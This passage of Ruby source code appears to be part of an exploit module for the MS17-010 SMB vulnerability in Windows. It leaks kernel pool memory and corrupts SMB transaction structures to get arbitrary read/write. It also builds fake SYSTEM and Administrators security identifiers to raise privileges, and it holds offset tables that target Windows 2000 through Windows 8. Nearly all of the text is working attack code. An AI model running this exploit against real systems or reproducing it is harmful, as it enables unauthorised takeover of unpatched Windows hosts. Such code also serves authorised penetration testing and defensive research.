pkt = create_nt_trans_secondary_packet(mid: @@special_mid)
self.simple.client.smb_send(pkt.to_s)
leakData = recv_transaction_data(@@special_mid, 0x100)
leakData = leakData[4..-1] # remove param
chunk = leakData[xHEAP_CHUNK_PAD_SIZE..-1].unpack("v")[0]
#if chunk != (xTRANS_CHUNK_SIZE // info['POOL_ALIGN'])
# raise MS17_010_Error, "Chunk size wrong in leaked data: 0x#{chunk.to_s(16)}"
#end
# extract leak transaction data and make next transaction to be trans2
leakTranOffset = xHEAP_CHUNK_PAD_SIZE + xHEAP_HDR_SIZE
leakTrans = leakData[leakTranOffset..-1]
fmt = @ctx['PTR_FMT']
_, connection_addr, session_addr, treeconnect_addr, flink_value = leakTrans[8..-1].unpack(fmt * 5) #unpack_from('<'+fmt*5, leakTrans, 8)
inparam_value, outparam_value, indata_value = leakTrans[@ctx['TRANS_INPARAM_OFFSET']..-1].unpack(fmt * 3) #unpack_from('<'+fmt*3, leakTrans, info['TRANS_INPARAM_OFFSET'])
trans2_mid = leakTrans[@ctx['TRANS_MID_OFFSET']..-1].unpack("v")[0] #unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]
# not 1:1
print_status("\t[+] Successfully Leaked Transaction!")
print_status("\t[+] Successfully caught Fish-in-a-barrel")
print_status("<---------------- | Leaving Danger Zone | ---------------->")
print_status("Reading from CONNECTION struct at: 0x#{connection_addr.to_s(16)}")
trans2_addr = inparam_value - @ctx['TRANS_SIZE'] - xTRANS_NAME_LEN
trans1_addr = trans2_addr - xTRANS_CHUNK_SIZE * 2
if datastore['DBGTRACE']
print_status("CONNECTION: 0x#{connection_addr.to_s(16)}")
print_status("SESSION: 0x#{session_addr.to_s(16)}")
print_status("FLINK: 0x#{flink_value.to_s(16)}")
print_status("InData: 0x#{indata_value.to_s(16)}")
print_status("MID: 0x#{trans2_mid.to_s(16)}")
print_status("TRANS1: 0x#{trans1_addr.to_s(16)}")
print_status("TRANS2: 0x#{trans2_addr.to_s(16)}")
end
# ================================
# modify trans struct to be used for arbitrary read/write
# ================================
# modify
# - trans1.InParameter to &trans1. so we can modify trans1 struct with itself (trans1 param)
# - trans1.InData to &trans2. so we can modify trans2 with trans1 data
# Note: HIDWORD of trans1.InParameter is still 0xffffffff
xTRANS_OFFSET = 0x100000000 - (@ctx['TRANS_SIZE'] + xTRANS_NAME_LEN)
param = [trans1_addr, trans1_addr+0x200, trans2_addr].pack(fmt * 3) #pack('<'+fmt*3, trans1_addr, trans1_addr+0x200, trans2_addr)
pkt = create_nt_trans_secondary_packet(mid: @ctx['fid'], param: param, paramDisplacement: xTRANS_OFFSET+@ctx['TRANS_INPARAM_OFFSET'])
self.simple.client.smb_send(pkt.to_s)
do_smb_echo()
# modify trans1.mid
trans1_mid = next_multiplex_id()
param = [trans1_mid].pack("v") # pack('<H', trans1_mid)
pkt = create_trans_secondary_packet(mid: @ctx['fid'], param: param, paramDisplacement: @ctx['TRANS_MID_OFFSET'])
self.simple.client.smb_send(pkt.to_s)
do_smb_echo()
@ctx['connection'] = connection_addr
@ctx['session'] = session_addr
@ctx['trans1_mid'] = trans1_mid
@ctx['trans1_addr'] = trans1_addr
@ctx['trans2_mid'] = trans2_mid
@ctx['trans2_addr'] = trans2_addr
end
def create_fake_SYSTEM_UserAndGroups(userAndGroupCount, userAndGroupsAddr)
xSID_SYSTEM = "\x01\x01\x00\x00\x00\x00\x00\x05\x12\x00\x00\x00" # pack('<BB5xB'+'I', 1, 1, 5, 18)
xSID_ADMINISTRATORS = "\x01\x02\x00\x00\x00\x00\x00\x05\x20\x00\x00\x00\x20\x02\x00\x00" #pack('<BB5xB'+'II', 1, 2, 5, 32, 544)
xSID_AUTHENICATED_USERS = "\x01\x01\x00\x00\x00\x00\x00\x05\x0b\x00\x00\x00" #pack('<BB5xB'+'I', 1, 1, 5, 11)
xSID_EVERYONE = "\x01\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00" #pack('<BB5xB'+'I', 1, 1, 1, 0)
# SID_SYSTEM and SID_ADMINISTRATORS must be added
sids = [ xSID_SYSTEM, xSID_ADMINISTRATORS, xSID_EVERYONE, xSID_AUTHENICATED_USERS ]
# - user has no attribute (0)
# - 0xe: SE_GROUP_OWNER | SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT
# - 0x7: SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_MANDATORY
attrs = [ 0, 0xe, 7, 7 ]
# assume its space is enough for SID_SYSTEM and SID_ADMINISTRATORS (no check)
# fake user and groups will be in same buffer of original one
# so fake sids size must NOT be bigger than the original sids
fakeUserAndGroupCount = [userAndGroupCount, 4].min #min(userAndGroupCount, 4)
fakeUserAndGroupsAddr = userAndGroupsAddr
addr = fakeUserAndGroupsAddr + (fakeUserAndGroupCount * @ctx['PTR_SIZE'] * 2)
fakeUserAndGroups = ""
for i in 0..fakeUserAndGroupCount -1 # fuggin ruby, hope it isn't off by 1
sid = sids[i]
atr = attrs[i]
fakeUserAndGroups << [addr, atr].pack(@ctx['PTR_FMT'] * 2)
addr += sid.length
end
for i in 0..fakeUserAndGroupCount -1
fakeUserAndGroups << sids[i]
end
return fakeUserAndGroupCount, fakeUserAndGroups
end
# Large pool allocation in NT Trans adds the tags Frag and Free to data returned.
# We can use this information leak and determine by offset the arch size.
# https://blogs.msdn.microsoft.com/ntdebugging/2012/01/27/stop-0x19-in-a-large-pool-allocation/
#
def leak_frag_size(fid)
# use same mid for NT Trans and NT Trans Secondary
mid = next_multiplex_id()
op = ::Rex::Proto::SMB::Constants::NT_TRANSACT_RENAME
r1pkt = create_nt_trans_packet(op, param: [fid].pack("V"), mid: mid, data: Rex::Text.rand_text_alpha(0x10d0), # data: "A" * 0x10d0,#
maxParameterCount: GROOM_TRANS_SIZE - 0x10d0 - TRANS_NAME_LEN)
r2pkt = create_nt_trans_secondary_packet(mid: mid, data: Rex::Text.rand_text_alpha(276)) # data: "B" * 276) #
r1bin = r1pkt.to_s[0..-9]
r2bin = r1pkt.to_s[-8..-1] + r2pkt.to_s
self.simple.client.smb_send(r1bin)
self.simple.client.smb_send(r2bin)
data = recv_transaction_data(mid, 0x10d0 + 276)
data = data[0x10d4..-1]
if data[X64_FRAG_TAG_OFFSET..-1].starts_with? 'Frag'
@ctx['arch'] = 'x64'
@ctx['FRAG_POOL_SIZE'] = data[X64_FRAG_TAG_OFFSET - 2].ord * X64_POOL_ALIGN
elsif data[X86_FRAG_TAG_OFFSET..-1].starts_with? 'Frag'
@ctx['arch'] = 'x86'
@ctx['FRAG_POOL_SIZE'] = data[X86_FRAG_TAG_OFFSET - 2].ord * X86_POOL_ALIGN
else
raise MS17_010_Error, "Unable to parse Frag leak data!"
end
vprint_status("Frag pool info leak: arch=#{@ctx['arch']}, size=0x#{@ctx['FRAG_POOL_SIZE'].to_s(16)}")
end
def bin_to_hex(s)
s.each_byte.map { |b| "%02x" % b }.join
end
def recv_transaction_data(mid, len)
data = ''
while data.length < len
raw = self.simple.client.smb_recv
pkt = CONST::SMB_NTTRANS_RES_PKT.make_struct
pkt.from_s(raw)
if pkt['Payload']['SMB'].v['MultiplexID'].to_s == mid.to_s
data += pkt['Payload'].v['Payload'][1..-1]
end
end
return data
end
def smb_send_recv_raw(raw)
self.simple.client.smb_send(raw)
data = self.simple.client.smb_recv()
pkt = CONST::SMB_BASE_PKT.make_struct
pkt.from_s(data)
pkt
end
def create_nt_trans_packet(subcommand, tid: nil, uid: nil, pid: nil, mid: nil, setup: '', param: '', data: '', maxSetupCount: nil, totalParameterCount: nil, totalDataCount: nil, maxParameterCount: nil, maxDataCount: nil)
pkt = CONST::SMB_NTTRANS_PKT.make_struct
set_smb1_headers(pkt, tid: tid, uid: uid, pid: pid, mid: mid)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_TRANSACT
pkt['Payload']['SMB'].v['WordCount'] = 19 + setup.length
pkt['Payload'].v['ParamCountTotal'] = if totalParameterCount != nil then totalParameterCount else param.length end
pkt['Payload'].v['DataCountTotal'] = if totalDataCount != nil then totalDataCount else data.length end
pkt['Payload'].v['ParamCountMax'] = if maxParameterCount != nil then maxParameterCount else param.length end
pkt['Payload'].v['DataCountMax'] = if maxDataCount != nil then maxDataCount else data.length end # doesnt match?
pkt['Payload'].v['ParamCount'] = param.length
pkt['Payload'].v['DataCount'] = data.length
pkt['Payload'].v['SetupCount'] = setup.length
pkt['Payload'].v['SetupData'] = setup
pkt['Payload'].v['Subcommand'] = subcommand
pkt = put_trans_data(pkt, data: data, param: param)
return pkt
end
def create_nt_trans_secondary_packet(tid: nil, uid: nil, pid: nil, mid: nil, wct: 18, param: '', paramDisplacement: 0, data: '', dataDisplacement: 0)
pkt = CONST::SMB_NTTRANS_SECONDARY_PKT.make_struct
set_smb1_headers(pkt, tid: tid, uid: uid, pid: pid, mid: mid)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_TRANSACT_SECONDARY
pkt['Payload']['SMB'].v['WordCount'] = wct
pkt['Payload'].v['ParamCountTotal'] = param.length
pkt['Payload'].v['DataCountTotal'] = data.length
pkt['Payload'].v['ParamCount'] = param.length
pkt['Payload'].v['DataCount'] = data.length
pkt['Payload'].v['DataDisplace'] = dataDisplacement
pkt['Payload'].v['ParamDisplace'] = paramDisplacement
pkt = put_trans_data(pkt, data: data, param: param)
pkt
end
def create_trans_packet(tid: nil, uid: nil, pid: nil, mid: nil, setup: '', param: '', data: '', maxSetupCount: nil, totalParameterCount: nil, totalDataCount: nil, maxParameterCount: nil, maxDataCount: nil)
pkt = CONST::SMB_TRANS_PKT.make_struct
set_smb1_headers(pkt, tid: tid, uid: uid, pid: pid, mid: mid)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION
pkt['Payload']['SMB'].v['WordCount'] = 14 + setup.length
pkt['Payload'].v['ParamCountTotal'] = if totalParameterCount != nil then totalParameterCount else param.length end
pkt['Payload'].v['DataCountTotal'] = if totalDataCount != nil then totalDataCount else data.length end
pkt['Payload'].v['ParamCountMax'] = if maxParameterCount != nil then maxParameterCount else param.length end
pkt['Payload'].v['DataCountMax'] = if maxDataCount != nil then maxDataCount else data.length end
pkt['Payload'].v['ParamCount'] = param.length
pkt['Payload'].v['DataCount'] = data.length
pkt['Payload'].v['SetupCount'] = setup.length
pkt['Payload'].v['SetupData'] = setup
pkt['Payload'].v['Flags'] = 0
pkt['Payload'].v['Timeout'] = 0xffffffff
pkt = put_trans_data(pkt, data: data, param: param)
pkt
end
# Note: Setup length is included when len(param) is called
def put_trans_data(pkt, len: 0, param: '', data: '', noPad: false)
pkt['Payload'].v['ParamOffset'] = 0
pkt['Payload'].v['DataOffset'] = 0
# SMB header: 32 bytes
# WordCount: 1 bytes
# ByteCount: 2 bytes
#offset = 32 + 1 + len + 2 #len(pkt['Parameters']) + 2
len = pkt.to_s.length - 4
param = param.b
data = data.b
offset = len
transData = ''
if param != ''
padLen = if noPad then 0 else (4 - offset % 4 ) % 4 end
pkt['Payload'].v['ParamOffset'] = offset + padLen
transData = ("\x00" * padLen) + param
offset += padLen + param.length
end
if data != ''
padLen = if noPad then 0 else (4 - offset % 4 ) % 4 end
pkt['Payload'].v['DataOffset'] = offset + padLen
transData += ("\x00" * padLen) + data
end
pkt['Payload'].v['Payload'] = transData
pkt
end
def create_trans_secondary_packet(tid: nil, uid: nil, pid: nil, mid: nil, param: '', paramDisplacement: 0, data: '', dataDisplacement: 0)
pkt = CONST::SMB_BASE_PKT.make_struct
set_smb1_headers(pkt, tid: tid, uid: uid, pid: pid, mid: mid)
param = param.b
data = data.b
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION_SECONDARY
pkt['Payload']['SMB'].v['WordCount'] = 8
base_offset = 51 #pkt.to_s.length - 4
param_offset = if param != '' then base_offset else 0 end
data_offset = if data != '' then base_offset + param.length else 0 end
raw = pkt.to_s[0..-3]
raw << [param.length].pack("v") # total param count
raw << [data.length].pack("v") # total data count
raw << [param.length].pack("v") # param count
raw << [param_offset].pack("v") # param offset
raw << [paramDisplacement].pack("v") # param displacement
raw << [data.length].pack("v") # data count
raw << [data_offset].pack("v")
raw << [dataDisplacement].pack("v") # data displacement
payload = param + data
raw << [payload.length].pack("v") #BCC
raw += param + data
# fix nbss header
raw = raw[4..-1]
nbss = [raw.length].pack("N")
raw = nbss + raw
return raw
end
def do_write_andx_raw_pipe(fid: 0, data: '', tid: nil, uid: nil, pid: nil, mid: nil)
pkt = CONST::SMB_WRITE_PKT.make_struct
set_smb1_headers(pkt, tid: tid, uid: uid, pid: pid, mid: mid)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_WRITE_ANDX
pkt['Payload']['SMB'].v['WordCount'] = 12
base_offset = 24
pkt['Payload'].v['AndX'] = 0xff
pkt['Payload'].v['FileID'] = fid
pkt['Payload'].v['Offset'] = 0
pkt['Payload'].v['WriteMode'] = 4 # SMB_WMODE_WRITE_RAW_NAMED_PIPE
pkt['Payload'].v['Remaining'] = 1000 + Random.rand(10000) # 12345 # can be any. raw named pipe does not use it
pkt['Payload'].v['DataLenHigh'] = 0
pkt['Payload'].v['DataLenLow'] = data.length
pkt['Payload'].v['DataOffset'] = 32 + 1 + base_offset + 2 + 1
#pkt['Payload'].v['Payload'] = "\x00" + data
#pkt['Payload'].v['DataOffsetHigh'] = ## we need to remove this!
# DataOffsetHigh adds 4 bytes, BCC +2
raw = pkt.to_s[0..-7]
raw << [data.length + 1].pack("v") # add 1 for pad byte
raw << "\x00" # pad byte
raw << data
# fix nbss header
raw = raw[4..-1]
nbss = [raw.length].pack("N")
raw = nbss + raw
self.simple.client.smb_send(raw)
return self.simple.client.smb_recv()
end
def do_smb_echo(tid: nil, uid: nil, pid: nil, mid: nil, data: nil)
if data == nil
data = Rex::Text.rand_text_alpha(1) #"\x41"
end
pkt = CONST::SMB_BASE_PKT.make_struct
set_smb1_headers(pkt, tid: tid, uid: uid, pid: pid, mid: mid)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_ECHO
pkt['Payload']['SMB'].v['WordCount'] = 1
# build echo packet
raw = pkt.to_s[0..-3]
raw << [data.length].pack("v") # echo count
raw << [data.length].pack("v") # BCC
raw << data
# fix nbss header
raw = raw[4..-1]
nbss = [raw.length].pack("N")
raw = nbss + raw
self.simple.client.smb_send(raw)
self.simple.client.smb_recv()
end
# Sets common SMB1 Header values used by the various
# packets in the exploit.
def set_smb1_headers(pkt, tid: nil, uid: nil, pid: nil, mid: nil)
# fill with defaults
self.simple.client.smb_defaults(pkt['Payload']['SMB'])
# special case: do not ever let mid interfere with fid
pkt['Payload']['SMB'].v['MultiplexID'] = if mid != nil then mid else next_multiplex_id() end
if uid != nil
pkt['Payload']['SMB'].v['UserID'] = uid
end
if tid != nil
pkt['Payload']['SMB'].v['TreeID'] = tid
end
if pid != nil
pkt['Payload']['SMB'].v['ProcessID'] = pid
end
# Flags: 0x18, Canonicalized Pathnames, Case Sensitivity
pkt['Payload']['SMB'].v['Flags1'] = 0x18
# Flags2: 0x4801, Error Code Type, Extended Security Negotiation, Long Names Allowed
pkt['Payload']['SMB'].v['Flags2'] = if self.simple.client.require_signing then 0x4807 else 0x4801 end
pkt
end
@@last_multiplex_id = 1000 + Random.rand(20000)
def next_multiplex_id
@@last_multiplex_id += 1 + Random.rand(21)
if 0x4000 <= @@last_multiplex_id && @@last_multiplex_id <= 0x4110
@@last_multiplex_id += 0x120
end
return @@last_multiplex_id
end
@@special_mid = 0
@@extra_last_mid = 0
def reset_extra_multiplex_id()
@@special_mid = (next_multiplex_id() & 0xff00) - 0x100
@@extra_last_mid = @@special_mid
end
def next_extra_multiplex_id()
@@extra_last_mid += 1
return @@extra_last_mid
end
def calc_alloc_size(size, align_size)
return (size + align_size - 1) & ~(align_size - 1)
end
WIN7_64_SESSION_INFO = {
'SESSION_SECCTX_OFFSET'=> 0xa0,
'SESSION_ISNULL_OFFSET'=> 0xba,
'FAKE_SECCTX'=> [0x28022a, 1, 0, 0, 2, 0, 1].pack("VVQ<Q<VVC"), #pack('<IIQQIIB', 0x28022a, 1, 0, 0, 2, 0, 1),
'SECCTX_SIZE'=> 0x28,
}
WIN7_32_SESSION_INFO = {
'SESSION_SECCTX_OFFSET'=> 0x80,
'SESSION_ISNULL_OFFSET'=> 0x96,
'FAKE_SECCTX'=> [0x1c022a, 1, 0, 0, 2, 0, 1].pack("VVVVVVC"), #pack('<IIIIIIB', 0x1c022a, 1, 0, 0, 2, 0, 1),
'SECCTX_SIZE'=> 0x1c,
}
# win8+ info
WIN8_64_SESSION_INFO = {
'SESSION_SECCTX_OFFSET'=> 0xb0,
'SESSION_ISNULL_OFFSET'=> 0xca,
'FAKE_SECCTX'=> [0x38022a, 1, 0, 0, 0, 0, 2, 0, 1].pack("VVQ<Q<Q<Q<VVC"), #pack('<IIQQQQIIB', 0x38022a, 1, 0, 0, 0, 0, 2, 0, 1),
'SECCTX_SIZE'=> 0x38,
}
WIN8_32_SESSION_INFO = {
'SESSION_SECCTX_OFFSET'=> 0x88,
'SESSION_ISNULL_OFFSET'=> 0x9e,
'FAKE_SECCTX'=> [0x24022a, 1, 0, 0, 0, 0, 2, 0, 1].pack("VVVVVVVVC"), # pack('<IIIIIIIIB', 0x24022a, 1, 0, 0, 0, 0, 2, 0, 1),
'SECCTX_SIZE'=> 0x24,
}
# win 2003 (xp 64 bit is win 2003)
WIN2K3_64_SESSION_INFO = {
'SESSION_ISNULL_OFFSET'=> 0xba,
'SESSION_SECCTX_OFFSET'=> 0xa0, # Win2k3 has another struct to keep PCtxtHandle (similar to 2008+)
'SECCTX_PCTXTHANDLE_OFFSET'=> 0x10, # PCtxtHandle is at offset 0x8 but only upperPart is needed
'PCTXTHANDLE_TOKEN_OFFSET'=> 0x40,
'TOKEN_USER_GROUP_CNT_OFFSET'=> 0x4c,
'TOKEN_USER_GROUP_ADDR_OFFSET'=> 0x68,
}
WIN2K3_32_SESSION_INFO = {
'SESSION_ISNULL_OFFSET'=> 0x96,
'SESSION_SECCTX_OFFSET'=> 0x80, # Win2k3 has another struct to keep PCtxtHandle (similar to 2008+)
'SECCTX_PCTXTHANDLE_OFFSET'=> 0xc, # PCtxtHandle is at offset 0x8 but only upperPart is needed
'PCTXTHANDLE_TOKEN_OFFSET'=> 0x24,
'TOKEN_USER_GROUP_CNT_OFFSET'=> 0x4c,
'TOKEN_USER_GROUP_ADDR_OFFSET'=> 0x68,
}
# win xp
WINXP_32_SESSION_INFO = {
'SESSION_ISNULL_OFFSET'=> 0x94,
'SESSION_SECCTX_OFFSET'=> 0x84, # PCtxtHandle is at offset 0x80 but only upperPart is needed
'PCTXTHANDLE_TOKEN_OFFSET'=> 0x24,
'TOKEN_USER_GROUP_CNT_OFFSET'=> 0x4c,
'TOKEN_USER_GROUP_ADDR_OFFSET'=> 0x68,
'TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1'=> 0x40,
'TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1'=> 0x5c,
}
WIN2K_32_SESSION_INFO = {
'SESSION_ISNULL_OFFSET'=> 0x94,
'SESSION_SECCTX_OFFSET'=> 0x84, # PCtxtHandle is at offset 0x80 but only upperPart is needed
'PCTXTHANDLE_TOKEN_OFFSET'=> 0x24,
'TOKEN_USER_GROUP_CNT_OFFSET'=> 0x3c,
'TOKEN_USER_GROUP_ADDR_OFFSET'=> 0x58,
}
# for windows 2008+
WIN7_32_TRANS_INFO = {
'TRANS_SIZE' => 0xa0, # struct size
'TRANS_FLINK_OFFSET' => 0x18,
'TRANS_INPARAM_OFFSET' => 0x40,
'TRANS_OUTPARAM_OFFSET' => 0x44,
'TRANS_INDATA_OFFSET' => 0x48,
'TRANS_OUTDATA_OFFSET' => 0x4c,
'TRANS_PARAMCNT_OFFSET' => 0x58,
'TRANS_TOTALPARAMCNT_OFFSET' => 0x5c,
'TRANS_FUNCTION_OFFSET' => 0x72,
'TRANS_MID_OFFSET' => 0x80,
}
WIN7_64_TRANS_INFO = {
'TRANS_SIZE' => 0xf8, # struct size
'TRANS_FLINK_OFFSET' => 0x28,
'TRANS_INPARAM_OFFSET' => 0x70,
'TRANS_OUTPARAM_OFFSET' => 0x78,
'TRANS_INDATA_OFFSET' => 0x80,
'TRANS_OUTDATA_OFFSET' => 0x88,
'TRANS_PARAMCNT_OFFSET' => 0x98,
'TRANS_TOTALPARAMCNT_OFFSET' => 0x9c,
'TRANS_FUNCTION_OFFSET' => 0xb2,
'TRANS_MID_OFFSET' => 0xc0,
}
WIN5_32_TRANS_INFO = {
'TRANS_SIZE' => 0x98, # struct size
'TRANS_FLINK_OFFSET' => 0x18,
'TRANS_INPARAM_OFFSET' => 0x3c,
'TRANS_OUTPARAM_OFFSET' => 0x40,
'TRANS_INDATA_OFFSET' => 0x44,
'TRANS_OUTDATA_OFFSET' => 0x48,
'TRANS_PARAMCNT_OFFSET' => 0x54,
'TRANS_TOTALPARAMCNT_OFFSET' => 0x58,
'TRANS_FUNCTION_OFFSET' => 0x6e,
'TRANS_PID_OFFSET' => 0x78,
'TRANS_MID_OFFSET' => 0x7c,
}
WIN5_64_TRANS_INFO = {
'TRANS_SIZE' => 0xe0, # struct size
'TRANS_FLINK_OFFSET' => 0x28,
'TRANS_INPARAM_OFFSET' => 0x68,
'TRANS_OUTPARAM_OFFSET' => 0x70,
'TRANS_INDATA_OFFSET' => 0x78,
'TRANS_OUTDATA_OFFSET' => 0x80,
'TRANS_PARAMCNT_OFFSET' => 0x90,
'TRANS_TOTALPARAMCNT_OFFSET' => 0x94,
'TRANS_FUNCTION_OFFSET' => 0xaa,
'TRANS_PID_OFFSET' => 0xb4,
'TRANS_MID_OFFSET' => 0xb8,
}
X86_INFO = {
'ARCH' => 'x86',
'PTR_SIZE' => 4,
'PTR_FMT' => 'V',
'FRAG_TAG_OFFSET' => 12,
'POOL_ALIGN' => 8,
'SRV_BUFHDR_SIZE' => 8,
}
X64_INFO = {
'ARCH' => 'x64',
'PTR_SIZE' => 8,
'PTR_FMT' => 'Q<',
'FRAG_TAG_OFFSET' => 0x14,
'POOL_ALIGN' => 0x10,
'SRV_BUFHDR_SIZE' => 0x10,
}
OS_ARCH_INFO = {
# for Windows Vista, 2008, 7 and 2008 R2
'WIN7' => {
'x86' => {
'CPUARCH' => X86_INFO,
'OFFSETS' => WIN7_32_TRANS_INFO,
'SESSION' => WIN7_32_SESSION_INFO
},
'x64' => {
'CPUARCH' => X64_INFO,
'OFFSETS' => WIN7_64_TRANS_INFO,
'SESSION' => WIN7_64_SESSION_INFO
},
},
# for Windows 8 and later
'WIN8' => {
'x86' => {
'CPUARCH' => X86_INFO,
'OFFSETS' => WIN7_32_TRANS_INFO,
'SESSION' => WIN8_32_SESSION_INFO
},
'x64' => {
'CPUARCH' => X64_INFO,
'OFFSETS' => WIN7_64_TRANS_INFO,
'SESSION' => WIN8_64_SESSION_INFO
},
},
'WINXP' => {
'x86' => {
'CPUARCH' => X86_INFO,
'OFFSETS' => WIN5_32_TRANS_INFO,
'SESSION' => WINXP_32_SESSION_INFO
},
'x64' => {
'CPUARCH' => X64_INFO,
'OFFSETS' => WIN5_64_TRANS_INFO,
'SESSION' => WIN2K3_64_SESSION_INFO
},
},
'WIN2K3' => {
'x86' => {
'CPUARCH' => X86_INFO,
'OFFSETS' => WIN5_32_TRANS_INFO,
'SESSION' => WIN2K3_32_SESSION_INFO
},
'x64' => {
'CPUARCH' => X64_INFO,
'OFFSETS' => WIN5_64_TRANS_INFO,
'SESSION' => WIN2K3_64_SESSION_INFO
},
},
'WIN2K' => {
'x86' => {
'CPUARCH' => X86_INFO,
'OFFSETS' => WIN5_32_TRANS_INFO,
'SESSION' => WIN2K_32_SESSION_INFO
},
},
}
def pick_ctx()
pick = OS_ARCH_INFO[@ctx['os']][@ctx['arch']]
@ctx = @ctx.merge(pick['CPUARCH'])
@ctx = @ctx.merge(pick['OFFSETS'])
@ctx = @ctx.merge(pick['SESSION'])
@ctx
end
GROOM_TRANS_SIZE = 0x5010 # includes transaction name, parameters and data, multiple of 16 to make FRAG_TAG_OFFSET valid
TRANS_NAME_LEN = 4
X64_FRAG_TAG_OFFSET = 0x14
X64_POOL_ALIGN = 0x10
X86_FRAG_TAG_OFFSET = 0x0c
X86_POOL_ALIGN = 0x08
end
end